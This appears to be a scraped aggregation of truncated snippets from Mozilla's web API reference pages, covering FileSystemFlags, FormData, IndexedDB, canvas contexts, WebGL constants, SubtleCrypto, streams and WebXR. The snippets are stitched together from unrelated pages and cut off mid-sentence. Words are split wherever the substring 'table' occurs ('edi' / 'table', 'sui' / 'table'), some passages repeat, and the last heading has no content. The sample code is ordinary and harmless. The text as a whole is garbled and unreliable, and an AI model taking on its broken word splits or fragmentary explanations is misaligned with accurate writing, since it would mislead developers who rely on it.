table below describes the result of each possible combination of these flags depending on whether or not the target file or directory path already exists. option values file/directory condition result create exclusive false n/a[1] path exists and matches the desired type (depending on whether the function called is getfile() or getdirectory() the succes...
...systemdirectoryentry is passed to the successcallback, as appropriate. [1] when create is false, the value of exclusive is irrelevant and ignored. specifications specification status comment file and directory entries apithe definition of 'filesystemflags' in that specification. draft initial specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilesystemflags experimentalchrome full support ...
FileHandle API - Web APIs
es, including creating files and modifying their content (unlike the file api). because the files manipulated through that api can be physically stored on the device, the editing part uses a turn-based locking mechanism in order to avoid race issues. api overview this api is based on the following interfaces: idbdatabase.mozcreatefilehandle (was called idbdatabase.mozcreatefilehandle.) idbmu
tablefile (was previously filehandle.) lockedfile filerequest it also has connections with the file api, especially the file and blob interfaces. basic operations create a filehandle because the intent is to allow the storage of files through indexeddb, creating a filehandle instance requires an indexeddb database. var idbreq = indexeddb.open("myfilestoragedatabase"); idbreq.onsuccess = funct...
...discussions on public-webapps led to the conclusion that the api would behave poorly in the case of different entities writing concurrently to the same file. the outcome of this discussion is the filehandle api with its lockedfile and transaction mechanism. specifications a formal specification draft is being written. as it does not fully match the current implementation, be warned that ...
Using FormData Objects - Web APIs
be a blob, file, or a string: if the value is neither a blob nor a file, the value is converted to a string). this example builds a formdata instance containing values for fields named "username", "accountnum", "userfile" and "webmasterfile", then uses the xmlhttprequest method send() to send the form's data. the field "webmasterfile" is a blob. a blob object represents a file-like object of immu
table, raw data. blobs represent data that isn't necessarily in a javascript-native format. the file interface is based on blob, inheriting blob functionality and expanding it to support files on the user's system. in order to build a blob you can invoke the blob() constructor. retrieving a formdata object from an html form to construct a formdata object that contains the data from an existing <form>...
...m and sending it, like this: var formelement = document.queryselector("form"); var formdata = new formdata(formelement); var request = new xmlhttprequest(); request.open("post", "submitform.php"); formdata.append("serialnumber", serialnumber++); request.send(formdata); this lets you augment the form's data before sending it along, to include additional information that's not necessarily user-edi
table. sending files using a formdata object you can also send files using formdata. simply include an <input> element of type file in your <form>: <form enctype="multipart/form-data" method="post" name="fileinfo"> <label>your email address:</label> <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br /> <label>custom file la...
GlobalEventHandlers.oninvalid - Web APIs
syntax target.oninvalid = functionref; var functionref = target.oninvalid; value functionref is a function name or a function expression. the function receives a event object as its sole argument. ...
... syntax target.oninvalid = functionref; var functionref = target.oninvalid; value functionref is a function name or a function expression. the function receives a event object as its sole argument. ...
HTMLCanvasElement.getContext() - Web APIs
n 2 (opengl es 3.0). "bitmaprenderer" which will create an imagebitmaprenderingcontext which only provides functionality to replace the content of the canvas with a given imagebitmap. note: the identifier "experimental-webgl" is used in new implementations of webgl. these implementations have either not reached test suite conformance, or the graphics drivers on the platform are not yet s
table. the khronos group certifies webgl implementations under certain conformance rules. contextattributes you can use several context attributes when creating your rendering context, for example: const gl = canvas.getcontext('webgl', { antialias: false, depth: false }); 2d context attributes: alpha: boolean that indicates if the canvas contains an alpha channel. if set to false, t...
...boolean that indicates whether or not to perform anti-aliasing. depth: boolean that indicates that the drawing buffer has a depth buffer of at least 16 bits. failifmajorperformancecaveat: boolean that indicates if a context will be created if the system performance is low or if no hardware gpu is available. powerpreference: a hint to the user agent indicating what configuration of gpu is sui
table for the webgl context. possible values are: "default": let the user agent decide which gpu configuration is most sui
table. this is the default value. "high-performance": prioritizes rendering performance over power consumption. "low-power": prioritizes power saving over rendering performance. premultipliedalpha: boolean that indicates that the page compositor will assume ...
HTMLInputElement: invalid event - Web APIs
the invalid event fires when a submit
table element has been checked for validity and doesn't satisfy its constraints. bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid this event can be useful for displaying a summary of the problems with a form on submission. when a form is submitted, invalid events are fired at each form control that is invalid. the validity of submit
table elements is checked before submitting their owner <form>, or after the checkvalidity() method of the element or its owner <form> is called. it is not checked on blur. ...
...in this example, when an invalid event fires because of an invalid value in the input, the invalid value is logged. ...
HTMLInputElement.webkitdirectory - Web APIs
tead of files. when a directory is selected, the directory and its entire hierarchy of contents are included in the set of selected items. the selected file system entries can be obtained using the webkitentries property. syntax htmlinputelement.webkitdirectory = boolvalue value a boolean; true if the <input> element should allow picking only directories or false if only files should be selec
table. understanding the results after the user makes a selection, each file object in files has its file.webkitrelativepath property set to the relative path within the selected directory at which the file is located. for example, consider this file system: photoalbums birthdays jamie's 1st birthday pic1000.jpg pic1004.jpg pic1044.jpg ...
....innerhtml = files[i].webkitrelativepath; output.appendchild(item); }; }, false); result specifications specification status comment file and directory entries apithe definition of 'webkitdirectory' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitdirectory non-standardchrome full support ...
The HTML DOM API - Web APIs
d by the http headers when loading the page, such as the location from which the document was loaded, cookies, modification date, referring site, and so forth. access to lists of elements in the document's <head> block and body, as well as lists of the images, links, scripts, etc. contained in the document. support for interacting with the user by examining focus and by executing commands on edi
table content. event handlers for document events defined by the html standard to allow access to mouse and keyboard events, drag and drop, media control, and more. event handlers for events that can be delivered to both elements and documents; these presently include only copy, cut, and paste actions. html element interfaces the element interface has been further adapted to represent html element...
...lement htmlmenuelement htmlmetaelement htmlmeterelement htmlmodelement htmlolistelement htmlobjectelement htmloptgroupelement htmloptionelement htmloutputelement htmlparagraphelement htmlparamelement htmlpictureelement htmlpreelement htmlprogresselement htmlquoteelement htmlscriptelement htmlselectelement htmlslotelement htmlsourceelement htmlspanelement htmlstyleelement html
tablecaptionelement html
tablecellelement html
tablecolelement html
tableelement html
tablerowelement html
tablesectionelement htmltemplateelement htmltextareaelement htmltimeelement htmltitleelement htmltrackelement htmlulistelement htmlunknownelement htmlvideoelement deprecated html element interfaces htmlmarqueeelement obsolete html element interfaces htmlbasefontelement h...
Headers - Web APIs
you can add to this using methods like append() (see examples.) in all methods of this interface, header names are matched by case-insensitive byte sequence. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. a headers object also has an associated guard, which takes a value of immu
table, request, request-no-cors, response, or none. this affects whether the set(), delete(), and append() methods will mutate the header. for more information see guard. you can retrieve a headers object via the request.headers and response.headers properties, and create a new headers object using the headers.headers() constructor. an object implementing headers can directly be used in a for...of st...
...set() will overwrite the existing value with the new one, whereas headers.append() will append the new value onto the end of the set of values. see their dedicated pages for example code. note: all of the headers methods will throw a typeerror if you try to pass in a reference to a name that isn't a valid http header name. the mutation operations will throw a typeerror if the header has an immu
table guard. in any other failure case they fail silently. note: when header values are iterated over, they are automatically sorted in lexicographical order, and values from duplicate header names are combined. obsolete methods headers.getall() used to return an array of all the values of a header within a headers object with a given name; this method has now been deleted from the spec, and h...
IDBDatabase - Web APIs
ected database. when a database is first created, this attribute is an empty string. idbdatabase.objectstorenames read only a domstringlist that contains a list of the names of the object stores currently in the connected database. methods inherits from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread. idbdatabase.createmu
tablefile() creates a file handle, allowing files to be stored inside an indexeddb database. idbdatabase.createobjectstore() creates and returns a new object store or index. idbdatabase.deleteobjectstore() destroys the object store with the given name in the connected database, along with any indexes that reference it. idbdatabase.transaction() immediately returns a transaction object (idbtransa...
...n('todolist', 'readwrite').objectstore('todolist'); specifications specification status comment indexed database api 2.0the definition of 'idbdatabase' in that specification. recommendation initial version indexed database api draftthe definition of 'idbdatabase' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbdatabasechrome full support ...
IDBFactory.cmp() - Web APIs
ys with non-numeric properties and treats them as empty arrays, so any non-numeric arrays are treated as equivalent). this throws an exception if either of the values is not a valid key. syntax var result = indexeddb.cmp(first, second); parameters first the first key to compare. second the second key to compare. ...
...indow.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status comment indexed database api 2.0the definition of 'cmp()' in that specification. recommendation indexed database api draftthe definition of 'cmp()' in that specification. recommendation browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcmpchrome full support ...
IDBVersionChangeRequest - Web APIs
the new way to do it is to use the idbopendbrequest interface which has now the onblocked handler and the newly needed onupgradeneeded one. the idbversionchangerequest interface the indexeddb api represents a request to change the version of a database. it is used only by the setversion() method of idbdatabase. methods inherits from: idbrequest idbversionchangerequest.setversion updates the version of the database. ...
...ethods inherits from: idbrequest idbversionchangerequest.setversion updates the version of the database. returns immediately and runs a versionchange transaction on the connected database in a separate thread. attributes attribute type description onblocked function the event handler for the blocked event. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbversionchangerequest deprecatednon-standardchrome ...
InputEvent - Web APIs
the inputevent interface represents an event notifying of edi
table content change. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y...
...rits properties from its parents, uievent and event. inputevent.dataread only returns a domstring with the inserted characters. this may be an empty string if the change doesn't insert text (such as when deleting characters, for example). inputevent.datatransferread only returns a datatransfer object containing information about richtext or plaintext data being added to or removed from edi
table content. inputevent.inputtyperead only returns the type of change for edi
table content such as, for example, inserting, deleting, or formatting text. see the property page for a complete list of input types. inputevent.iscomposingread only returns a boolean value indicating if the event is fired after compositionstart and before compositionend. methods this interface inherits methods fro...
KeyboardEvent.key - Web APIs
ce's key read-only property returns the value of the key pressed by the user, taking into consideration the state of modifier keys such as shift as well as the keyboard locale and layout. its value is determined as follows: key values see a full list of key values. if the pressed key has a printed representation, the returned value is a non-empty unicode character string containing the prin
table representation of the key. if the pressed key is a control or special character, the returned value is one of the pre-defined key values. if the keyboardevent represents the press of a dead key, the key value must be "dead". some specialty keyboard keys (such as the extended keys for controlling media on multimedia keyboards) don't generate key codes on windows; instead, they trigger wm_appcom...
...is first fired. if the key is held down further and the key produces a character key, then the event continues to be emitted in a platform implementation dependent interval and the keyboardevent.repeat read only property is set to true. if the key produces a character key that would result in a character being inserted into possibly an <input>, <textarea> or an element with htmlelement.contentedi
table set to true, the beforeinput and input event types are fired in that order. note that some other implementations may fire keypress event if supported. the events will be fired repeatedly while the key is held down. a keyup event is fired once the key is released. this completes the process. in sequence 1 & 3, the keyboardevent.key attribute is defined and is set appropriately to a value accord...
MediaTrackConstraints.latency - Web APIs
aints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { latency: constraint }; constraintsobject.latency = constraint; value a constraindouble describing the accep
table or required value(s) for an audio track's latency, with values specified in seconds. in audio processing, latency is the time between the start of processing (when sound occurs in the real world, or is generated by a hardware device) and the data being made available to the next step in the audio input or output process. in most cases, low latency is desirable for performance and user experience ...
...onds. in audio processing, latency is the time between the start of processing (when sound occurs in the real world, or is generated by a hardware device) and the data being made available to the next step in the audio input or output process. in most cases, low latency is desirable for performance and user experience purposes, but when power consumption is a concern, or delays are otherwise accep
table, higher latency might be accep
table. if this property's value is a number, the user agent will attempt to obtain media whose latency tends to be as close as possible to this number given the capabilities of the hardware and the other constraints specified. otherwise, the value of this constraindouble will guide the user agent in its efforts to provide an exact match to the required latency (if e...
Media Source API - Web APIs
e control over memory usage details, such as when buffers are evicted. it lays the groundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api. creating assets that work with mse in modern browsers is a laborious process, taking significant time, computing power, and energy. the usage of external utilities to massage the content into a sui
table format is required. while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a common baseline. mse also provides an api for runtime detection of container and codec support. if you do not require explicit control of video quality over time, the rate at which content is fetched, or the rate at which me...
...sive licenses for proprietary non-standard client/server protocol implementations. the two most common use cases for dash involve watching content “on demand” or “live.” on demand allows a developer to take their time transcoding the assets into multiple resolutions of various quality. live profile content can introduce latency due to its transcoding and broadcasting, so dash is not sui
table for real time communication like webrtc is. it can however support significantly more client connections than webrtc. there are numerous available free and open source tools for transcoding content and preparing it for use with dash, dash file servers, and dash client libraries written in javascript. interfaces mediasource represents a media source to be played via an htmlmediaelement objec...
OscillatorNode - Web APIs
of inputs 0 number of outputs 1 channel count mode max channel count 2 (not used in the default count mode) channel interpretation speakers constructor oscillatornode() creates a new instance of an oscillatornode object, optionally providing an object specifying default values for the node's properties. if the default values are accep
table, you can simply call the baseaudiocontext.createoscillator() factory method. properties inherits properties from its parent, audioscheduledsourcenode, and adds the following properties: oscillatornode.frequency an a-rate audioparam representing the frequency of oscillation in hertz (though the audioparam returned is read-only, the value it represents is not). the default value is 440 hz (a...
...for the ended event, which fires when the tone has stopped playing. methods inherits methods from its parent, audioscheduledsourcenode, and adds the following: oscillatornode.setperiodicwave() sets a periodicwave which describes a periodic waveform to be used instead of one of the standard waveforms; calling this sets the type to custom. this replaces the now-obsolete oscillatornode.setwave
table() method. oscillatornode.start() specifies the exact time to start playing the tone. oscillatornode.stop() specifies the time to stop playing the tone. examples the following example shows basic usage of an audiocontext to create an oscillator node and to start playing a tone on it. for an applied example, check out our violent theremin demo (see app.js for relevant code). // create web a...
Performance Timeline - Web APIs
that stops an observer from receiving further events. performance observers were added to the level 2 version of the standard and were not widely implemented. implementation status a summary of the interfaces' implementation status is provided below, including a link to more detailed information. performance interface extensions: as shown in the performance interface's browser compatibility
table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performanceentry: as shown in the performanceentry interface's browser compatibility
table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performance observers : as shown in the performanceobserver interface's browser com...
...hese interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performanceentry: as shown in the performanceentry interface's browser compatibility
table, most of these interfaces are broadly implemented by desktop browsers and have less support on mobile devices. performance observers : as shown in the performanceobserver interface's browser compatibility
table, this interface has no shipping implementations. to test your browser's support for these interfaces, run the perf-api-support application. see also a primer for web performance timing apis ...
ProgressEvent.initProgressEvent() - Web APIs
ateevent("progressevent") method. progressevent created that way are untrusted. note: this method has been dropped during the standard process. it has been deprecated and removed from most implementation. do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcompu
table, loaded, total); parameters typearg is a domstring identifying the specific type of animation event that occurred. the following values are allowed: value meaning loadstart the operation has started. progress the operation still is in progress. error the operation failed and didn't complete. abort the ope...
...mplete. abort the operation was cancelled and didn't complete. load the operation completed. loadend the operation stopped. canbubblearg is a boolean flag indicating if the event can bubble (true) or not (false). cancelablearg is a boolean flag indicating if the event associated action can be avoided (true) or not (false). lengthcompu
table is a boolean flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable. in other words, it tells if the progress is measurable or not. loaded is an unsigned long long representing the amount of work already performed by the underlying process. the ratio of work done can be calculated with the property and progressevent.total. whe...
ProgressEvent - Web APIs
12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">progressevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor progressevent() creates a progressevent event with the given parameters. properties also inherits properties from its parent event. progressevent.lengthcompu
table read only is a boolean flag indicating if the total work to be done, and the amount of work already done, by the underlying process is calculable. in other words, it tells if the progress is measurable or not. progressevent.loaded read only is an unsigned long long representing the amount of work already performed by the underlying process. the ratio of work done can be calculated with the p...
...zes a progressevent created using the deprecated document.createevent("progressevent") method. examples the following example adds a progressevent to a new xmlhttprequest and uses it to display the status of the request. var progressbar = document.getelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcompu
table) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification. living standard ...
RTCIceCandidatePairStats - Web APIs
ring that uniquely identifies the rtcicetransport that was inspected to obtain the transport-related statistics (as found in rtctransportstats) used in generating this object. obsolete properties the following properties have been removed from the specification and should no longer be used. you should update any existing code to avoid using them as soon as is practical. ...
.... you should update any existing code to avoid using them as soon as is practical. check the compatibility
table for details on which browsers support them and in which versions. priority optional an integer value indicating the candidate pair's priority. readable optional a boolean value indicating whether or not data can be sent over the connection described by the candidate pair. wri
table optional a boolean value indicating whether or not data can be received on the connection described by the candidate pair. non-standard properties selected optional a firefox-specific boolean value which is true if the candidate pair described by this object is the one currently in use. the spec-compliant way to determine the selected candidate pair is to look for a stats object of typ...
RTCInboundRtpStreamStats - Web APIs
le for video streams. qpsum a 64-bit value containing the sum of the qp values for every frame decoded by this rtp receiver. you can determine the average qp per frame by dividing this value by framesdecoded. valid only for video streams. receiverid a string indicating which identifies the rtcaudioreceiverstats or rtcvideoreceiverstats object associated with the stream's receiver. this id is s
table across multiple calls to getstats(). remoteid a string which identifies the rtcremoteoutboundrtpstreamstats object that provides statistics for the remote peer for this same ssrc. this id is s
table across multiple calls to getstats(). slicount an integer indicating the number of times the receiver sent a slice loss indication (sli) frame to the sender to tell it that one or more consecutive (...
...s indication (sli) frame to the sender to tell it that one or more consecutive (in terms of scan order) video macroblocks have been lost or corrupted. available only for video streams. trackid a string which identifies the statistics object representing the receiving track; this object is one of two types: rtcreceiveraudiotrackattachmentstats or rtcreceivervideotrackattachmentstats. this id is s
table across multiple calls to getstats(). examples specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcinboundrtpstreamstats' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection: signalingstatechange event - Web APIs
t event handler property rtcpeerconnection.onsignalingstatechange examples given an rtcpeerconnection, pc, and an updatestatus() function that presents status information to the user, this code sets up an event handler to let the user know when the ice negotiation process finishes up. ...
...sets up an event handler to let the user know when the ice negotiation process finishes up. pc.addeventlistener("signalingstatechange", ev => { switch(pc.signalingstate) { case "s
table": updatestatus("ice negotiation complete"); break; } }, false); using onsignalingstatechange, it looks like this: pc.onsignalingstatechange = ev => { switch(pc.signalingstate) { case "s
table": updatestatus("ice negotiation complete"); break; } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'signalingstatechange' in that specification. candidate recommendation ...
SVGComponentTransferFunctionElement - Web APIs
all;} constants name value description svg_fecomponenttransfer_type_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type. svg_fecomponenttransfer_type_identity 1 corresponds to the value identity. svg_fecomponenttransfer_type_
table 2 corresponds to the value
table. svg_fecomponenttransfer_type_discrete 3 corresponds to the value discrete. svg_fecomponenttransfer_type_linear 4 corresponds to the value linear. svg_fecomponenttransfer_type_gamma 5 corresponds to the value gamma. properties this interface also inherits properties from its parent interface, svgelement. ...
...5 corresponds to the value gamma. properties this interface also inherits properties from its parent interface, svgelement. svgcomponenttransferfunctionelement.type read only an svganimatedenumeration corresponding to the type attribute of the given element. it takes one of the svg_fecomponenttransfer_type_* constants defined on this interface. svgcomponenttransferfunctionelement.
tablevalues read only an svganimatednumberlist corresponding to the
tablevalues attribute of the given element. svgcomponenttransferfunctionelement.slope read only an svganimatednumber corresponding to the slope attribute of the given element. svgcomponenttransferfunctionelement.intercept read only an svganimatednumber corresponding to the intercept attribute of the given element. svgcomponent...
Selection - Web APIs
that the user has selected. typically, it holds only one range, accessed as follows: var selobj = window.getselection(); var range = selobj.getrangeat(0); selobj is a selection object range is a range object as the selection api specification notes, the selection api was initially created by netscape and allowed multiple ranges (for instance, to allow the user to select a column from a <
table>). however, browsers other than gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range. selection and input focus selection and input focus (indicated by document.activeelement) have a complex relationship that varies by browser. in cross-browser compatible code, it's better to handle them separately. safari and chrome (unlike f...
...nge.selectnode() range.selectnodecontents() glossary other key terms used in this section. anchor the anchor of a selection is the beginning point of the selection. when making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. as the user changes the selection using the mouse or the keyboard, the anchor does not move. editing host an edi
table element (e.g., an html element with contentedi
table set, or the html child of a document that has designmode enabled). focus of a selection the focus of a selection is the end point of the selection. when making a selection with a mouse, the focus is where in the document the mouse button is released. as the user changes the selection using the mouse or the keyboard, the focus is the end of the...
SubtleCrypto.exportKey() - Web APIs
keys can be exported in several formats: see supported formats in the subtlecrypto.importkey() page for details. keys are not exported in an encrypted format: to encrypt keys when exporting them use the subtlecrypto.wrapkey() api instead. ...
... key is the cryptokey to export. return value result is a promise. if format was jwk, then the promise fulfills with a json object containing the key. otherwise the promise fulfills with an arraybuffer containing the key. exceptions the promise is rejected when one of the following exceptions is encountered: invalidaccesserror raised when trying to export a non-extrac
table key. notsupported raised when trying to export in an unknown format. typeerror raised when trying to use an invalid format. examples note: you can try the working examples out on github. raw export this example exports an aes key as an arraybuffer containing the bytes for the key. see the complete code on github. /* export the given key and write it into the "exported-key" space. */ a...
SubtleCrypto.sign() - Web APIs
erview object containing the data to be signed. return value signature is a promise that fulfills with an arraybuffer containing the signature. exceptions the promise is rejected when the following exception is encountered: invalidaccesserror raised when the signing key is not a key for the request signing algorithm or when trying to use an algorithm that is either unknown or isn't sui
table for signing. supported algorithms the web crypto api provides four algorithms that can be used for signing and signature verification. three of these algorithms — rsassa-pkcs1-v1_5, rsa-pss, and ecdsa — are public-key cryptosystems that use the private key for signing and the public key for verification. these systems all use a digest algorithm to hash the message to a short fixed size be...
.... these systems all use a digest algorithm to hash the message to a short fixed size before signing. the choice of digest algorithm is passed into the generatekey() or importkey() functions. the fourth algorithm — hmac — uses the same algorithm and key for signing and for verification: this means that the verification key must be kept secret, which in turn means that this algorithm is not sui
table for many signature use cases. it can be a good choice however when the signer and verifier are the same entity. rsassa-pkcs1-v1_5 the rsassa-pkcs1-v1_5 algorithm is specified in rfc 3447. rsa-pss the rsa-pss algorithm is specified in rfc 3447. it's different from rsassa-pkcs1-v1_5 in that it incorporates a random salt in the signature operation, so the same message signed with the same key w...
SubtleCrypto - Web APIs
ddb api to store cryptokey objects. supported algorithms the cryptographic functions provided by the web crypto api can be performed by one or more different cryptographic algorithms: the algorithm argument to the function indicates which algorithm to use. some algorithms need extra parameters: in these cases the algorithm argument is a dictionary object that includes the extra parameters. ...
...algorithms the cryptographic functions provided by the web crypto api can be performed by one or more different cryptographic algorithms: the algorithm argument to the function indicates which algorithm to use. some algorithms need extra parameters: in these cases the algorithm argument is a dictionary object that includes the extra parameters. ...
TransformStream - Web APIs
the transformstream interface of the streams api represents a set of transformable data. constructor transformstream() creates and returns a transform stream object from the given handlers. properties transformstream.readable read only the readable end of a transformstream. transformstream.wri
table read only the wri
table end of a transformstream. methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values. const transformcontent = { start() {}, // required. async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else...
...der.encoding} get fatal() {return _jstds_wm.get(this).decoder.fatal} get ignorebom() {return _jstds_wm.get(this).decoder.ignorebom} } chaining multiple readablestreams together this is a useful one, where multiple streams can be conjoined. examples include building a pwa with progressive loading and progressive streaming. let responses = [ /* conjoined response tree */ ] let {readable, wri
table} = new transformstream responses.reduce( (a, res, i, arr) => a.then(() => res.pipeto(wri
table, {preventclose: (i+1) !== arr.length})), promise.resolve() ) note that this is not resilient to other influences. specifications specification status comment streamsthe definition of 'transformstream' in that specification. living standard initial definition ...
WebGLRenderingContext.stencilOp() - Web APIs
is no depth buffer or depth testing is disabled. the default value is gl.keep. return value none. constants gl.keep keeps the current value. gl.zero sets the stencil buffer value to 0. gl.replace sets the stencil buffer value to the reference value as specified by webglrenderingcontext.stencilfunc(). gl.incr increments the current stencil buffer value. ...
...ero sets the stencil buffer value to 0. gl.replace sets the stencil buffer value to the reference value as specified by webglrenderingcontext.stencilfunc(). gl.incr increments the current stencil buffer value. clamps to the maximum represen
table unsigned value. gl.incr_wrap increments the current stencil buffer value. wraps stencil buffer value to zero when incrementing the maximum represen
table unsigned value. gl.decr decrements the current stencil buffer value. clamps to 0. gl.decr_wrap decrements the current stencil buffer value. wraps stencil buffer value to the maximum represen
table unsigned value when decrementing a stencil buffer value of 0. gl.invert inverts the current stencil buffer value bitwise. examples the stencil testing is disabled by default. to enable or disabl...
WebGLRenderingContext.stencilOpSeparate() - Web APIs
is no depth buffer or depth testing is disabled. the default value is gl.keep. return value none. constants gl.keep keeps the current value. gl.zero sets the stencil buffer value to 0. gl.replace sets the stencil buffer value to the reference value as specified by webglrenderingcontext.stencilfunc(). gl.incr increments the current stencil buffer value. ...
...ero sets the stencil buffer value to 0. gl.replace sets the stencil buffer value to the reference value as specified by webglrenderingcontext.stencilfunc(). gl.incr increments the current stencil buffer value. clamps to the maximum represen
table unsigned value. gl.incr_wrap increments the current stencil buffer value. wraps stencil buffer value to zero when incrementing the maximum represen
table unsigned value. gl.decr decrements the current stencil buffer value. clamps to 0. gl.decr_wrap decrements the current stencil buffer value. wraps stencil buffer value to the maximum represen
table unsigned value when decrementing a stencil buffer value of 0. gl.invert inverts the current stencil buffer value bitwise. examples the stencil testing is disabled by default. to enable or disabl...
WebGL constants - Web APIs
entbyid('mycanvas'); var gl = canvas.getcontext('webgl'); gl.getparameter(gl.line_width); some constants are also provided by webgl extensions. a list is provided below. var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); the webgl tutorial has more information, examples, and resources on how to get started with webgl.
table of contents standard webgl 1 constants standard webgl 2 constants webgl extension constants standard webgl 1 constants these constants are defined on the webglrenderingcontext interface. clearing buffers constants passed to webglrenderingcontext.clear() to clear buffer masks. constant name value description depth_buffer_bit 0x00000100 passed to clear t...
... r32ui 0x8236 rg8i 0x8237 rg8ui 0x8238 rg16i 0x8239 rg16ui 0x823a rg32i 0x823b rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_immu
table_format 0x912f texture_immu
table_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_rev 0x8368 unsigned_int_10f_11f_11f_rev 0x8c3b unsigned_int_5_9_9_9_rev 0x8c3e float_32_unsigned_int_24_8_rev 0x8dad unsigned_int_24_8 0x84fa ...
WebGL model view projection - Web APIs
s use of one of the fundamental facets of einstein's special relativity theory: the principle of reference frames and relative motion says that, from the perspective of a viewer, you can simulate changing the position and orientation of the viewer by applying the opposite change to the objects in the scene. either way, the result appears to be identical to the viewer. consider a box sitting on a
table and a camera resting on the
table one meter away, pointed at the box, the front of which is pointed toward the camera. then consider moving the camera away from the box until it's two meters away (by adding a meter to the camera's z position), then sliding it 10 centimeters to the its left. the box recedes from the camera by that amount and slides to the right slightly, thereby appearing smaller ...
...0 centimeters to the its left. the box recedes from the camera by that amount and slides to the right slightly, thereby appearing smaller to the camera and exposing a small amount of its left side to the camera. now let's reset the scene, placing the box back in its starting point, with the camera two meters from, and directly facing, the box. this time, however, the camera is locked down on the
table and cannot be moved or turned. this is what working in webgl is like. so how do we simulate moving the camera through space? instead of moving the camera backward and to the left, we apply the inverse transform to the box: we move the box backward one meter, and then 10 centimeters to its right. the result, from the perspective of each of the two objects, is identical. <<< insert image(s) here ...
Using bounded reference spaces - Web APIs
ecause a bounded reference space establishes a limited area in which the user can move, it naturally imposes a limit on how large the simulated environment can be. it's difficult (and would probably be fairly confusing) to create a virtual world that's larger than the physical space available to the user if you're mapping their real-world movement into the virtual environment. imagine how uncomfor
table it would feel if you moved 100 meters each time you took a step! the requirements, then, for a bounded reference space are: xr hardware that can track the user's movement in the real world, such as a camera-based system. a physical space with enough room to move around safely. basics the xrreferencespacetype of all bounded reference spaces is bounded-floor. this is the only type of bounde...
...the boundary area, going around the origin in a clockwise manner. this is demonstrated in the diagram below. this diagram defines the boundaries of room with the origin in the center, as required, and a set of 12 points representing the vertices of the available physical space. there are two cut-out areas in the room, possibly representing a couch, sofa, or bench behind the user and a stand or
table on which the computer or other hardware is located. as this suggests, the safe area is not required to be convex, but may have any number of indentations or extrusions, as long as it's a contiguous shape, note that the coordinates of the origin here, (0, 0), are indicative of the fact that the boundaries are defined at floor level and are essentially a 2d shape on the floor, like an invisible fe...
Fundamentals of WebXR - Web APIs
